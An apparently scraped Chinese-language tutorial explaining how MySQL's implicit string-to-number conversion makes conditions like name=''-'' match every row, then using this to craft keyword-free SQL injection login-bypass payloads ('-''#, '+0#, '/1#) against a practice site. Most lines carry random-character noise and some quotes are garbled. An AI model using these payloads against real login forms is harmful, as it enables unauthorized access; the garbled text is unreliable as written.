我们先来看这样一个场景。
! Z; S8 C" Y1 p* K. d4 W ?有以下表结构:
' [4 {+ p f( x, b3 ^8 g
: O- w( \) C) \mysql> desc admin;
9 U! X% c2 ^5 [- I X+----------+--------------+------+-----+---------+----------------+& a7 ^4 _* G8 U* C9 F
| Field | Type | Null | Key | Default | Extra |5 _9 c# M2 s& g
+----------+--------------+------+-----+---------+----------------+
, V, ^7 Q U+ P3 {3 `& a$ }| id | mediumint(9) | NO | PRI | NULL | auto_increment |
6 ^& k4 R0 P( A2 M6 r8 y4 j| name | char(32) | NO | UNI | NULL | |9 x' x; C' U0 V# q- d3 H5 n6 G
| password | char(32) | NO | UNI | NULL | |
2 N3 h. A% d- g+----------+--------------+------+-----+---------+----------------+: J$ P% ]2 \4 V, D
3 rows in set (0.00 sec)
4 ?9 F8 G3 k7 Z6 F执行select * from admin;,成功返回所有记录内容。2 |0 K* B4 v6 ]/ ]0 @/ l
% d$ q3 g0 ^4 N7 H5 y6 {
m: o6 ^) o7 x8 p2 D/ d9 H
+----+--------+----------------------------------+ ]$ m# u5 b. }3 R5 u8 z- n! [$ E
| id | name | password |/ w* b2 l- `% N- t: \# Z' F
+----+--------+----------------------------------+9 `, Y8 w/ s4 S! |) E' ~
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
) o3 s& e# H& K4 ]* W3 p: A| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; E. _, g+ ]4 h8 g+ b) m5 w
| 4 | n00b | ff80e8508d39047460921792273533a4 |
7 Q1 b2 z( F. ]+ B Z, F+----+--------+----------------------------------+2 _. V6 z3 l3 z, Z% N
3 rows in set (0.00 sec)
8 a! f' M0 z8 g& z: ^执行select * from admin where name=”;,没有匹配到任何记录。
1 D- E/ }: u# L8 `; x, e9 x. S. \
7 m$ z4 x) N+ O/ Fmysql> select * from admin where name = '';
7 p" D( o2 R2 E7 @; c- a# N( z. OEmpty set (0.00 sec)
+ D7 x% ]9 `. w' A+ z* k那么我们来执行select * from admin where name = ”-”;; {2 D1 ]" A8 R2 l
1 E# Z5 a2 k' |1 A) R. E# K U8 `; }" n4 w0 b x5 ]
+----+--------+----------------------------------+( j8 M6 J, h0 P W# N$ B
| id | name | password |
. N6 P0 F g6 T% {7 p; [2 g' ~# f+----+--------+----------------------------------+
4 }, ?- q$ O$ H- V7 T| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
9 n8 v# y a* P i) O5 F| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
0 m4 `- a$ O4 Z( h% ]| 4 | n00b | ff80e8508d39047460921792273533a4 |
! E0 @6 J0 C% h7 ~+----+--------+----------------------------------+
, a4 P) N, q5 X' W: P- T3 rows in set, 3 warnings (0.00 sec)
6 ]! b N# ^ D( n可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
( h) D2 t' g9 U+ d3 d9 f" D5 h. c1 _
5 S* @* E" E! y c) umysql> show warnings;
' N" I/ |0 o. a5 H, q- O% c+---------+------+------------------------------------------
# ~! O. c4 W; g! P/ `| Level | Code | Message V- l+ y* ~; C/ T S3 J( Y
+---------+------+------------------------------------------
! ?; M* ~5 f: L8 a& x9 r| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
a8 ]* X6 S" k& {+ Z| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s9 o" A3 u. _8 S( q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
9 W) W; j4 Y1 u5 d$ z+---------+------+------------------------------------------" D" s: n7 J8 ?9 c
3 rows in set (0.00 sec); [! p( G; J7 F# Q$ H7 w0 P8 t
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
& @* H8 r1 D" y! X2 R0 G- T) s% A* \: X2 l- ?
mysql> select ''-'';; M) z7 m- ^: D! s8 P% |) q
+-------+
9 W, l; }4 o' d& [| ''-'' |2 H. A4 d# B8 {
+-------+
; A& ~2 w( P) @+ H| 0 |/ r4 o. S( ?' o0 X( J2 |2 z, j- b
+-------+
! C4 L* ?; v; z9 R+ N1 row in set (0.00 sec)
/ X, _! H- [5 s' o( B0 C, @返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: . W2 b) V) l- a a3 F/ B. t
6 M. [5 T* E& d, W1 [3 g8 [
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
) X- k# q9 O9 J9 A( j+-----------------------------------------------------+
0 I K; H9 h4 s8 o; V$ r, r| CAST((select name from admin limit 1,1) as DECIMAL) |/ _ c9 U- Y9 p! g
+-----------------------------------------------------+! ?& M7 g3 l' I% k, o8 j: A
| 0 |9 A4 P- M% @/ a& Y! Q' r2 Z& s
+-----------------------------------------------------+' P% L4 j, S% n) J% y
1 row in set, 1 warning (0.00 sec)
& R* `4 E# m! u因此where语句构成了相等的条件,where 0=”=”,记录被返回。
/ o, Y! N W" p+ \5 g. h- y% H8 C) S% H+ O8 u! h X. C3 o
SQL注入场景: http://www.sqlzoo.net/hack/ ( e& \: W6 v. _$ e$ l
- z [; A/ M1 E% P
% I' W. S$ f9 U0 Y% i2 Q* Y- i6 |( X
. i+ Y A6 t) @$ h+ A( a; }
2 Z r- X5 U" v; h% ]& n7 C* M3 p如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
0 e5 }6 S7 S+ K4 c$ L: v# _' B% a$ z d0 I$ _6 E% J: `+ h& _; a# r
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 " p4 K' C/ x- D2 R0 U4 J2 Q! C
/ E8 N: f5 _3 H5 V4 Z" h- g- L
* b* y2 F- X- F. e9 k3 b F& U% q" U0 G: v9 S7 y; ^8 e
* k& G- K# V, L# m2 ?仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 9 _: _, S" o; B g/ q7 g
: P% F$ u( J& Q* f
6 j \. C: w( i7 g7 v) `
' h# _2 }! f( p除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
0 C$ I( D8 F$ S9 c' N' P! c
+ y7 w4 e# |0 N/ U3 Z6 `
0 a' u: ^) i3 e' p2 V' c3 }( cmysql> select ''/1;* w+ X B% r2 ^5 E* V8 E+ i
+------+
0 e9 z, Q4 D4 y3 J1 Z0 g| ''/1 |# Z, Y1 s$ S, s# W3 R0 f% G) Z
+------+5 Q/ j/ v/ U/ Y) \0 X2 x$ H
| 0 |& f! c) H4 C/ [: H q6 L
+------+1 D) |, S* G7 O3 q; L+ W
1 row in set (0.00 sec)# T% \' J, F; }1 Q2 J, r
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
5 L* l8 p# o, l" g. J
+ v" Y" H$ n2 q/ l7 k% D. A利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
7 @9 \+ E3 l* \: O |
|